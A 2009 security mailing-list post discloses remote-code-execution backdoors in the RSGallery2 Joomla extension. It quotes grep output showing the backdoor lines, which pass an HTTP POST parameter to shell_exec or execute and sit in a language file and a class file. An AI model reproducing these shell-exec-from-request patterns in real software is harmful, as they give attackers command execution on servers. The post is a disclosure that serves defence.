Backdoor in com_rsgallery2 gallery extension for joomla May 26 2009 06:03AM
Jan van Niekerk (jvnkrk gmail com) (1 replies)
Remote code execution back door(s)

RSGallery2 - Gallery Extension for Joomla!
We are currently working on a new website. All files are still available at
the JoomlaCode project page.

Not a big deal. Joomla components contain all sorts of obfuscated junk all
the time. Who cares what it does?


Joomlacode.org says, about these releases:
RSGallery2 1.14.3 Security Release
Jonah Braun
This is an updated production alpha containing a low threat security fix. If
you use commenting you should upgrade. An option to show/hide the Search box
has also been added. See the official site for downloads and support:

RSGallery2 2.0.0b1 released
John Caprez
This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.

Special thanks goes to all the translators providing the updated language
files and the testers of the nightly builds.
Download it and enjoy. Feel free to report any bugs or problems in the forum
at the RSGallery2 main web site

Vendor notified:
I tried. Not very hard though. joomlacode doesn't seem to have a security
contact and links to joomla.org as if they are the same crowd. I'm sending
a BCC to the given address for Jonah Braun though. I'll send it to bugtraq,
and they will sit on it for a few hours.
Huh? Do I need more coffee, or does this page say to contact them using
the details at this page? So you do that, and it says ... no wait,
infloop. Oh wait, there is a contact form. Filled something in. Blah.


% wget http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_l

% unzip com_rsgallery2_legacy_1.14.3.zip

% egrep -r '(eval|exec).*POST' .

./language/english-utf8.php: $result =
shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
./language/english-utf8.php: $result = shell_exec($_POST['cmd'] . "
./includes/rsgallery.class.php:$out = execute($_POST['cmd']);
./includes/rsgallery.class.php:$out = execute($_POST['alias']);

There's other fun obfuscated javascript hiding in 'eval's'.

Ditto version 2

nuf sed &:-)

[ reply ]
Re: Backdoor in com_rsgallery2 gallery extension for joomla May 26 2009 10:08PM
Jonah Braun (jonah blackbarnmedia com)


Privacy Statement
Copyright 2010, SecurityFocus